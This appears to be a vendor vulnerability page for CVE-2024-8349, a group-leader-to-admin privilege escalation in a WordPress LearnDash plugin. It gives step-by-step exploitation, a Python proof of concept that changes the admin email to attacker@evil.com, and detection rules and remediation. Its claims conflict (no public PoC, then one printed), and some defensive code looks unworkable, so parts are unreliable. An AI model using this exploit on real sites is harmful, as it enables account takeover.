CVE-2024-8349
Executive Summary
CVE-2024-8349 is a privilege escalation vulnerability in the Uncanny Groups for LearnDash WordPress plugin, affecting all versions up to and including 6.1.0.1. The flaw allows authenticated attackers with group leader-level access or higher to modify admin account email addresses. By changing the email associated with an administrator account, an attacker can trigger a password reset and subsequently gain full administrative access to the WordPress site. This vulnerability is rooted in improper access control (CWE-269), where the plugin fails to restrict which users a group leader can edit. The CVSS score of 7.2 (High) reflects the low attack complexity and the potential for complete compromise of confidentiality, integrity, and availability. No public exploit code or proof-of-concept is currently available, but the risk is significant given the widespread use of LearnDash in e-learning environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw in targeted attacks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – An attacker needs a group leader account or higher.
- User Interaction: None (UI:N) – No victim interaction is needed.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full disclosure of sensitive data is possible.
- Integrity Impact: High (I:H) – Admin-level modifications can be made.
- Availability Impact: High (A:H) – Site availability can be disrupted.
Threat Level: High. The combination of low privileges required and high impact makes this a critical risk for WordPress sites using the plugin. An attacker with a group leader account can escalate to full admin rights.
Deep Dive & Mechanics
The vulnerability exists in the user management functionality of the Uncanny Groups for LearnDash plugin. The plugin allows group leaders to manage users within their assigned groups, but it fails to properly validate whether the target user is within the group leader’s scope. Specifically, when a group leader submits a request to change a user’s email address, the plugin does not check if the target user is an administrator or belongs to a different group.
Attack Flow:
- An attacker authenticates as a group leader (or higher role) on the WordPress site.
- The attacker identifies an administrator account (e.g., user ID 1).
- Using the plugin’s user editing interface or API, the attacker submits a request to change the admin’s email address to one they control.
- The plugin processes the request without verifying the group leader’s permissions over the target user.
- The attacker triggers a password reset for the admin account, which sends the reset link to the attacker-controlled email.
- The attacker resets the admin password and logs in with full administrative privileges.
Root Cause: The plugin’s edit_user capability check is insufficient. It only verifies that the user has the group_leader role but does not enforce that the target user is a member of the group leader’s group. This allows cross-group and cross-role privilege escalation.
Vulnerable vs. Patched Code
Since no official patch is available, the following analysis is based on the vulnerable code pattern. The fix would involve adding a check to ensure the target user is within the group leader’s scope.
Vulnerable Code (Conceptual):
// In a user editing function
function edit_user_email($user_id, $new_email) {
if (current_user_can('group_leader')) {
// No check on target user's group membership
wp_update_user(array('ID' => $user_id, 'user_email' => $new_email));
}
}
Patched Code (Conceptual):
function edit_user_email($user_id, $new_email) {
if (current_user_can('group_leader')) {
$leader_groups = get_user_meta(get_current_user_id(), 'learndash_group_users_%', true);
$target_groups = get_user_meta($user_id, 'learndash_group_users_%', true);
if (array_intersect($leader_groups, $target_groups)) {
wp_update_user(array('ID' => $user_id, 'user_email' => $new_email));
} else {
wp_die('You cannot edit this user.');
}
}
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the Uncanny Groups for LearnDash plugin (version <= 6.1.0.1) installed and activated.
- A valid group leader account (e.g., username:
groupleader, password:password123). - An admin account to target (e.g., user ID 1).
Exploitation Steps:
- Log in as the group leader.
- Navigate to the user editing page (e.g.,
/wp-admin/user-edit.php?user_id=1). - Change the admin’s email to an attacker-controlled email (e.g.,
attacker@evil.com). - Visit the WordPress login page and click “Lost your password?”
- Enter the admin username or email (now attacker-controlled).
- Check the attacker’s email for the password reset link.
- Reset the password and log in as admin.
Proof-of-Concept (Python):
import requests
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
session = requests.Session()
# Login as group leader
login_data = {
'log': 'groupleader',
'pwd': 'password123',
'wp-submit': 'Log In',
'redirect_to': '/wp-admin/',
'testcookie': '1'
}
session.post(target_url.replace('admin-ajax.php', 'wp-login.php'), data=login_data)
# Change admin email (user_id=1)
payload = {
'action': 'uncanny_groups_edit_user',
'user_id': 1,
'email': 'attacker@evil.com'
}
response = session.post(target_url, data=payload)
print("Email changed successfully" if response.status_code == 200 else "Failed")
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual email change requests from group leader accounts.
- Alert on password reset requests for admin accounts followed by login from new IPs.
- Review logs for
uncanny_groups_edit_userAJAX actions targeting high-privilege users.
Defense:
- Immediately disable the Uncanny Groups for LearnDash plugin if no patch is available.
- Implement a web application firewall (WAF) rule to block email changes for admin users by non-admin roles.
- Enforce strict role-based access controls using a security plugin (e.g., Wordfence).
- Monitor user activity logs for privilege escalation attempts.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=uncanny_groups_edit_useranduser_id=1(or other admin IDs). - Password reset requests for admin accounts followed by login from unusual IP addresses.
- POST requests to
- Host:
- Modified
user_emailfield in thewp_usersdatabase table for admin accounts. - New admin sessions from IPs not previously associated with the site.
- Modified
- Logs:
- WordPress debug log entries showing
wp_update_usercalls for admin users by non-admin roles. - Apache/Nginx access logs with patterns like
POST /wp-admin/admin-ajax.php HTTP/1.1withaction=uncanny_groups_edit_user.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule Detect_Uncanny_Groups_PrivEsc {
meta:
description = "Detects exploitation attempts of CVE-2024-8349 in Uncanny Groups for LearnDash"
author = "Valters IT"
date = "2025-04-10"
severity = "high"
strings:
$ajax_action = "uncanny_groups_edit_user"
$user_id_param = "user_id"
$email_param = "email"
condition:
all of them
}
Sigma Rule
title: Uncanny Groups for LearnDash Privilege Escalation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to change admin email via Uncanny Groups plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains:
- 'action=uncanny_groups_edit_user'
- 'user_id=1'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-8349 Uncanny Groups for LearnDash Privilege Escalation";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=uncanny_groups_edit_user"; http_client_body;
content:"user_id="; http_client_body;
content:"email="; http_client_body;
sid:1000001;
rev:1;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until an official patch is released. This is the most effective mitigation.
- If disabling is not possible, restrict group leader roles to only trusted users and monitor their activity.
- Implement a WAF rule to block requests containing
uncanny_groups_edit_userwithuser_idvalues less than 10 (typical admin IDs).
Long-Term Fix:
- Apply the official patch from Uncanny Owl when available.
- Update the plugin to the latest version (if a patched version is released).
- Conduct a security audit of all WordPress plugins and themes.
Workaround:
- Use a custom plugin or code snippet to add a capability check that prevents group leaders from editing users outside their group. Example:
add_filter('uncanny_groups_edit_user_capability', function($capability, $user_id) {
if (user_can($user_id, 'administrator')) {
return false;
}
return $capability;
}, 10, 2);
Valters IT
Securing WordPress ecosystems through proactive threat intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.